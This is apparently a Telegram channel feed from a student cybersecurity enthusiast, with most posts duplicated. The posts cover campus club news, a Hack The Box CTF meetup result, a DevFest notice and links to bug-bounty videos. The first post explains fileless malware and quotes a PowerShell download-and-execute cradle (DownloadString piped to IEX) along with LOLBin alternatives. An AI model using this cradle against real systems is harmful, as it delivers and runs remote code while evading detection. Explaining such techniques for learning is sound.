i was just reading something about file transfer and found this threat which is called Astaroth malware or Guildma malware back in 2018 i guess which use the concept of file-less malware (directly run in the memory) no file in the disk
and this behavior makes him hard to detect and used for APT (advanced persistent threat ) i love the way it executed and wanna share with u guys.
for instance
(New-Object, Net.WebClient).DownloadString("someurl") | IEX
this is powershell command what it actually do is find and get the "someurl" and run it without downloading it's file into the disk, the "IEX" ( invoke-expression) makes it run directly to the memory.
this is just the idea behind the file-less file transfer mechanism the attackers can modify this code into something complex .
It often uses Living-Off-the-Land Binaries (LOLBins) like (wmic.exe, certutil.exe, bitsadmin.exe..)
we can also use curl and wget to perform the same thing.
check this vid out anyways
good night sleep tightππ
@AfroSec
and this behavior makes him hard to detect and used for APT (advanced persistent threat ) i love the way it executed and wanna share with u guys.
for instance
(New-Object, Net.WebClient).DownloadString("someurl") | IEX
this is powershell command what it actually do is find and get the "someurl" and run it without downloading it's file into the disk, the "IEX" ( invoke-expression) makes it run directly to the memory.
this is just the idea behind the file-less file transfer mechanism the attackers can modify this code into something complex .
It often uses Living-Off-the-Land Binaries (LOLBins) like (wmic.exe, certutil.exe, bitsadmin.exe..)
we can also use curl and wget to perform the same thing.
check this vid out anyways
good night sleep tightππ
@AfroSec
π3π1
Hey guys! ππ
Just a little update here
I recently started a cybersecurity club on our campus (not all by myself, of course)! We're calling it "AASTU CSC," (AASTU CyberSecurity Club) and I'm super excited about it! I think you all should check it out. Hereβs the link to our channel: @AASTU_CyberClub.
@AfroSec
Just a little update here
I recently started a cybersecurity club on our campus (not all by myself, of course)! We're calling it "AASTU CSC," (AASTU CyberSecurity Club) and I'm super excited about it! I think you all should check it out. Hereβs the link to our channel: @AASTU_CyberClub.
@AfroSec
β‘5
π Hack The Box Meetup Recap at ASTU! π
Hey, AfroSec fam! π I just had an awesome time attending the Hack The Box meetup at Adama Science and Technology University (ASTU). Big shoutout to Menas Cybersecurity Solutions and csec_cybersecurity for putting together this event!
The energy was off the charts, with cybersecurity enthusiasts from all levels coming together to learn, connect, and compete. π€ We even got to play a Capture the Flag (CTF) challenge, which was fun! π Proud to say I ranked 5th (luckily π) already looking forward to improving next time! π
Itβs an amazing chance to sharpen your hacking skills, learn from the best, and meet like-minded folks who share the same passion. π₯
Stay curious, stay secure! π€ #AfroSec #HackTheBox #ASTU #CyberSecurity #CTF
@AfroSec
Hey, AfroSec fam! π I just had an awesome time attending the Hack The Box meetup at Adama Science and Technology University (ASTU). Big shoutout to Menas Cybersecurity Solutions and csec_cybersecurity for putting together this event!
The energy was off the charts, with cybersecurity enthusiasts from all levels coming together to learn, connect, and compete. π€ We even got to play a Capture the Flag (CTF) challenge, which was fun! π Proud to say I ranked 5th (luckily π) already looking forward to improving next time! π
Itβs an amazing chance to sharpen your hacking skills, learn from the best, and meet like-minded folks who share the same passion. π₯
Stay curious, stay secure! π€ #AfroSec #HackTheBox #ASTU #CyberSecurity #CTF
@AfroSec
π₯8
Forwarded from CSEC_Cybersecurity
π CTF Resultπ
Congratulations to our top performers! π Weβre also proud of everyone who participated, especially beginners who tackled the tough challenges head-on. Your hard work made this event a success!
Top Five Winners
1. Josepht273
2. dawit7peter
3. gura
4. yonn12343
5. afrosec
Thanks for joining us keep up the great work, and stay tuned for more! π
Congratulations to our top performers! π Weβre also proud of everyone who participated, especially beginners who tackled the tough challenges head-on. Your hard work made this event a success!
Top Five Winners
1. Josepht273
2. dawit7peter
3. gura
4. yonn12343
5. afrosec
Thanks for joining us keep up the great work, and stay tuned for more! π
π₯11π2
hey fam
DevFest Addis is almost here, and itβs going to be awesome! Hosted by Google Developer Groups (GDG), this is your chance to dive into the latest tech, meet amazing people, and have a blast while learning! π
Whether you're a beginner or a pro, thereβs something for everyone. Donβt miss it!
link
See you there? π
#AfroSec #DevFestAddis #GDG #TechFun
@AfroSec
DevFest Addis is almost here, and itβs going to be awesome! Hosted by Google Developer Groups (GDG), this is your chance to dive into the latest tech, meet amazing people, and have a blast while learning! π
Whether you're a beginner or a pro, thereβs something for everyone. Donβt miss it!
link
See you there? π
#AfroSec #DevFestAddis #GDG #TechFun
@AfroSec
Google Developer Groups
DevFest Addis - 2024
In-person Event - DevFest Addis 2024 is just around the corner!
GDG Addis is excited to present DevFest 2024 in Addis Ababa, Ethiopia! Join us for an incredible opportunity to learn from industry experts, connect with fellow developers, and enjoy an engagingβ¦
GDG Addis is excited to present DevFest 2024 in Addis Ababa, Ethiopia! Join us for an incredible opportunity to learn from industry experts, connect with fellow developers, and enjoy an engagingβ¦
β€2π₯1
hey fellas how you doin' ?
yeah ik am not active these day, that's bcoz i got personal issues and now am backπ
check this out i love the content btw
@AfroSec
https://youtu.be/apUc8zjTiG4?si=zuqhpXYNC5Za-WRB
yeah ik am not active these day, that's bcoz i got personal issues and now am backπ
check this out i love the content btw
@AfroSec
https://youtu.be/apUc8zjTiG4?si=zuqhpXYNC5Za-WRB
YouTube
How to Approach Bug Bounty Target for beginner | Netflix.com on Hackerone | Recon part-1
How to Approach Bug Bounty Target for beginner | Netflix.com | Recon part-1
Thair are lots of tools and methods. I am using my methodology for finding bugs. and this is for new to start bug bounty
All Tools Links =https://docs.google.com/document/d/e/2PACXβ¦
Thair are lots of tools and methods. I am using my methodology for finding bugs. and this is for new to start bug bounty
All Tools Links =https://docs.google.com/document/d/e/2PACXβ¦
β€2β‘1
hey guys
Just watched an incredible video by LostSec that completely leveled up my understanding of some hacking techniques! (xss) π₯ This guy is an absolute legend in the cybersecurity community. His approach, clarity is another level π―
π₯ Video Link: check his vid
π» GitHub Page: page
telegram channel:https://t.me/+BGVzIMlsr-VhZWQ1
Trust me, you'll walk away from his content with new insights and practical skills. Letβs give him the recognition he deserves for sharing such valuable content! π
Big thanks to LostSec. πβ¨
@AfroSec
Just watched an incredible video by LostSec that completely leveled up my understanding of some hacking techniques! (xss) π₯ This guy is an absolute legend in the cybersecurity community. His approach, clarity is another level π―
π₯ Video Link: check his vid
π» GitHub Page: page
telegram channel:https://t.me/+BGVzIMlsr-VhZWQ1
Trust me, you'll walk away from his content with new insights and practical skills. Letβs give him the recognition he deserves for sharing such valuable content! π
Big thanks to LostSec. πβ¨
@AfroSec
π₯5
π2